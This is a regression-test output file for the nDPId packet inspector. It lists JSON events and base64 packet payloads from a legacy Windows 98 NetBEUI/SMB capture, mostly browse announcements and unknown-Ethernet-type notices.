+00538{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":135,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409888,"pkt_ts_usec":477823,"pkt_caplen":168,"pkt_type":154,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":168,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAJrw8AMsAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAeTURKUjk4ICAgICAgICAgIP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAFQAAAAAAAAAAAAAAAAAAAAAAAAAVAFYAAwABAAEAAgAmAFxNQUlMU0xPVFxCUk9XU0UACAEAFQQBfIgBAAAAAABNREpSOTgA"} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":135,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":154} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":136,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409888,"pkt_ts_usec":973798,"pkt_caplen":60,"pkt_type":18,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyABLw8CogDgD\/7x8AAAAAAAAAFQP\/U01CBAAAAAAAAAAAAAAAAAAAAAAAAAAAyHUF"} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":136,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":18} +00390{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":137,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409888,"pkt_ts_usec":973922,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAATw8QEsAP\/vAAAAAAAAFAAAAAAAAAAAAAAAAAAAAAAAV09SS0dST1VQICAgICAg"} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":137,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":4} +00538{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":138,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409889,"pkt_ts_usec":485899,"pkt_caplen":168,"pkt_type":154,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":168,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAJrw8AMsAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAeTURKUjk4ICAgICAgICAgIP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAFQAAAAAAAAAAAAAAAAAAAAAAAAAVAFYAAwABAAEAAgAmAFxNQUlMU0xPVFxCUk9XU0UACAEAFQQBfIgBAAAAAABNREpSOTgA"} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":138,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":154} +00538{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":139,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409890,"pkt_ts_usec":489826,"pkt_caplen":168,"pkt_type":154,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":168,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAJrw8AMsAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAeTURKUjk4ICAgICAgICAgIP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAFQAAAAAAAAAAAAAAAAAAAAAAAAAVAFYAAwABAAEAAgAmAFxNQUlMU0xPVFxCUk9XU0UACAEAFQQBfIgBAAAAAABNREpSOTgA"} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":139,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":154} +00538{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":140,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409891,"pkt_ts_usec":489903,"pkt_caplen":168,"pkt_type":154,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":168,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAJrw8AMsAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAeTURKUjk4ICAgICAgICAgIP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAFQAAAAAAAAAAAAAAAAAAAAAAAAAVAFYAAwABAAEAAgAmAFxNQUlMU0xPVFxCUk9XU0UACAEAFQQBfIgBAAAAAABNREpSOTgA"} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":140,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":154} +00670{"flow_id":7,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":141,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409891,"pkt_ts_usec":609903,"pkt_caplen":231,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":231,"pkt_l4_len":197,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAADZKgAAAIARr0HAqO+BwKjv\/wCKAIoAxRTzEQIAGMCo74EAigCvAAAgRU5FRUVLRkNESkRJQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0EAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJPAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAFQAAAAAAAAAAAAAAAAAAAAAAAAAVAFYAAwABAAEAAgAmAFxNQUlMU0xPVFxCUk9XU0UACAEAAAAAAAAAAAAAAABNREpSOTgA"} +00396{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":142,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409892,"pkt_ts_usec":489826,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAQAAAAAAFwAAAAAAAAAAAAAAAAAAAAAAV09SS0dST1VQICAgICAgHQ=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":142,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":47} +00396{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":143,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409893,"pkt_ts_usec":317826,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAQAAAAAAFwAAAAAAAAAAAAAAAAAAAAAAV09SS0dST1VQICAgICAgHQ=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":143,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":47} +00670{"flow_id":7,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":144,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409893,"pkt_ts_usec":769840,"pkt_caplen":231,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":231,"pkt_l4_len":197,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAADZKwAAAIARrkHAqO+BwKjv\/wCKAIoAxYA9EQIAGsCo74EAigCvAAAgRU5FRUVLRkNESkRJQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0EAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJPAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAFQAAAAAAAAAAAAAAAAAAAAAAAAAVAFYAAwABAAEAAgAmAFxNQUlMU0xPVFxCUk9XU0UACAEAFQQBj50BAAAAAABNREpSOTgA"} +00396{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":145,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409894,"pkt_ts_usec":273832,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAQAAAAAAFwAAAAAAAAAAAAAAAAAAAAAAV09SS0dST1VQICAgICAgHQ=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":145,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":47} +00670{"flow_id":7,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":146,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409894,"pkt_ts_usec":785830,"pkt_caplen":231,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":231,"pkt_l4_len":197,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAADZLAAAAIARrUHAqO+BwKjv\/wCKAIoAxYA7EQIAHMCo74EAigCvAAAgRU5FRUVLRkNESkRJQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0EAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJPAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAFQAAAAAAAAAAAAAAAAAAAAAAAAAVAFYAAwABAAEAAgAmAFxNQUlMU0xPVFxCUk9XU0UACAEAFQQBj50BAAAAAABNREpSOTgA"} +00396{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":147,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409895,"pkt_ts_usec":177868,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAAAAAAAAGABXT1JLR1JPVVAgICAgICAdAQJfX01TQlJPV1NFX18CAQ=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":147,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":47} +00670{"flow_id":7,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":148,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409895,"pkt_ts_usec":741945,"pkt_caplen":231,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":231,"pkt_l4_len":197,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAADZLQAAAIARrEHAqO+BwKjv\/wCKAIoAxYA5EQIAHsCo74EAigCvAAAgRU5FRUVLRkNESkRJQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0EAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJPAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAFQAAAAAAAAAAAAAAAAAAAAAAAAAVAFYAAwABAAEAAgAmAFxNQUlMU0xPVFxCUk9XU0UACAEAFQQBj50BAAAAAABNREpSOTgA"} +00396{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":149,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409895,"pkt_ts_usec":982740,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAAAAAAAAGABXT1JLR1JPVVAgICAgICAdAQJfX01TQlJPV1NFX18CAQ=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":149,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":47} +00670{"flow_id":7,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":150,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409896,"pkt_ts_usec":749822,"pkt_caplen":231,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":231,"pkt_l4_len":197,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAADZLgAAAIARq0HAqO+BwKjv\/wCKAIoAxYA3EQIAIMCo74EAigCvAAAgRU5FRUVLRkNESkRJQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0EAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJPAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAFQAAAAAAAAAAAAAAAAAAAAAAAAAVAFYAAwABAAEAAgAmAFxNQUlMU0xPVFxCUk9XU0UACAEAFQQBj50BAAAAAABNREpSOTgA"} +00396{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":151,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409896,"pkt_ts_usec":865840,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAQJfX01TQlJPV1NFX18CAQ=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":151,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":47} +00522{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":152,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409897,"pkt_ts_usec":721870,"pkt_caplen":156,"pkt_type":142,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":156,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAI7w8AMsAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAeTURKUjk4ICAgICAgICAgIP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAACQAAAAAAAAAAAAAAAAAAAAAAAAAJAFYAAwABAAEAAgAaAFxNQUlMU0xPVFxCUk9XU0UAAgBNREpSOTgA"} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":152,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":142} +00522{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":153,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409897,"pkt_ts_usec":722007,"pkt_caplen":156,"pkt_type":142,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":156,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAI7w8AMsAP\/vCAAAAAAAAAABAl9fTVNCUk9XU0VfXwIBTURKUjk4ICAgICAgICAgIP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAACQAAAAAAAAAAAAAAAAAAAAAAAAAJAFYAAwABAAEAAgAaAFxNQUlMU0xPVFxCUk9XU0UAAgBNREpSOTgA"} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":153,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":142} +00500{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":154,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409897,"pkt_ts_usec":749849,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"AFBW6YlWAFBWM3ieCABFAABgLwAAAIARq7fAqO+BwKjvAgCJAIkATO+bACIpAAABAAAAAAABIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAAAgAAHADAAgAAEABJPgAAYAAMCo74E="} +00554{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":155,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409897,"pkt_ts_usec":781873,"pkt_caplen":180,"pkt_type":166,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":180,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAKbw8AMsAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAeTURKUjk4ICAgICAgICAgAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAIQAAAAAAAAAAAAAAAAAAAAAAAAAhAFYAAwABAAEAAgAyAFxNQUlMU0xPVFxCUk9XU0UADwXA1AEATURKUjk4AAAAAAAAAAAAAAQAAyBFABUEVaoA"} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":155,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":166} +00412{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":156,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409898,"pkt_ts_usec":877607,"pkt_caplen":74,"pkt_type":60,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":74,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyADzw8CwgDgD\/7xYEAAAAABAAFQP\/U01CAAAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAAABAgAHAARcVEVTVAA="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":156,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":60} +00404{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":157,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409898,"pkt_ts_usec":877844,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieADXw8CAuDgD\/7xYMAAAQACgAAxX\/U01CAAAAAACAAAAAAAAAAAAAAAAAAAAAyHUFAAABAgAAAA=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":157,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":53} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":158,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409898,"pkt_ts_usec":941801,"pkt_caplen":60,"pkt_type":18,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyABLw8C4iDgD\/7xQAAAAoAAAAFQP\/U01CBgAAAAAAAAAAAAAAAAAAAAAAAAAAyHUF"} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":158,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":18} +00501{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":159,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409899,"pkt_ts_usec":251619,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"AFBW6YlWAFBWM3ieCABFAABgMAAAAIARqrfAqO+BwKjvAgCJAIkATO+bACIpAAABAAAAAAABIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAAAgAAHADAAgAAEABJPgAAYAAMCo74E="} +00390{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":160,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409899,"pkt_ts_usec":293810,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAATw8QEwIwAAAIARtrrAqO+BwKjv\/wCJAIkATG6mAAooEAABAAAAAAABIEZIRVBG"} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":160,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":4} +00501{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":161,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409900,"pkt_ts_usec":753846,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"AFBW6YlWAFBWM3ieCABFAABgMQAAAIARqbfAqO+BwKjvAgCJAIkATO+bACIpAAABAAAAAAABIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAAAgAAHADAAgAAEABJPgAAYAAMCo74E="} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":164,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409903,"pkt_ts_usec":670409,"pkt_caplen":89,"pkt_type":75,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":89,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAEvw8DAiDgD\/7xYEAAAAABEAFQP\/U01CgQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAAAhAgIUAAgAEgAEXD8\/Pz8\/Pz8\/Lj8\/PwAFAAA="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":164,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":75} +00390{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":165,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409903,"pkt_ts_usec":670550,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAATw8QEyAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAdTURKUjk4ICAgICAgICAg"} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":165,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":4} +00404{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":166,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409903,"pkt_ts_usec":670651,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieADXw8CIyDgD\/7xYMAAARACgAAxX\/U01CgQEAEgCAAAAAAAAAAAAAAAAAAAAAyHUFAAAhAgAAAA=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":166,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":53} +00416{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":167,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409903,"pkt_ts_usec":671761,"pkt_caplen":76,"pkt_type":62,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAD7w8DIkDgD\/7xYMAAAoABIAFQP\/U01CgQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAABBAgIUAAAABQAEAAUAAA=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":167,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":62} +00391{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":168,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409903,"pkt_ts_usec":671851,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAATw8QE0DgD\/7xYMAAAOACgAAxX\/U01CEAEAAwCAAAAAAAAAAAAAAAAAAAAAyHUF"} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":168,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":4} +00404{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":169,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409903,"pkt_ts_usec":671904,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieADXw8CQ0DgD\/7xYMAAASACgAAxX\/U01CgQEAEgCAAAAAAAAAAAAAAAAAAAAAyHUFAABBAgAAAA=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":169,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":53} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":170,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409903,"pkt_ts_usec":672058,"pkt_caplen":89,"pkt_type":75,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":89,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAEvw8DQmDgD\/7xYMAAAoABMAFQP\/U01CgQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAABhAgIUABYAEgAEXD8\/Pz8\/Pz8\/Lj8\/PwAFAAA="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":170,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":75} +00390{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":171,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409903,"pkt_ts_usec":672135,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAATw8QE2DgD\/7xeBvAUDABUAAxXvAgCJAIkATAvHAAQpAAABAAAAAAABIEVORUVF"} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":171,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":4} +00594{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":172,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409903,"pkt_ts_usec":672211,"pkt_caplen":201,"pkt_type":187,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":201,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieALvw8CY2DgD\/7xYMAAATACgAAxX\/U01CgQAAAACAAAAAAAAAAAAAAAAAAAAAyHUFAABhAgEDAIQABYEAgz8\/Pz8\/Pz8\/Pz8\/FgAAAQAAAAAAECpjj08AAAAALgAgICAgICAAAAAAAIM\/Pz8\/Pz8\/Pz8\/PxYBAAEAAAAAABAqY49PAAAAAC4uACAgICAgAAAAAACDPz8\/Pz8\/Pz8\/Pz8WAgABAAAAAAAQyWSPTwAAAABURVNUACAgIAAAAAAA"} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":172,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":187} 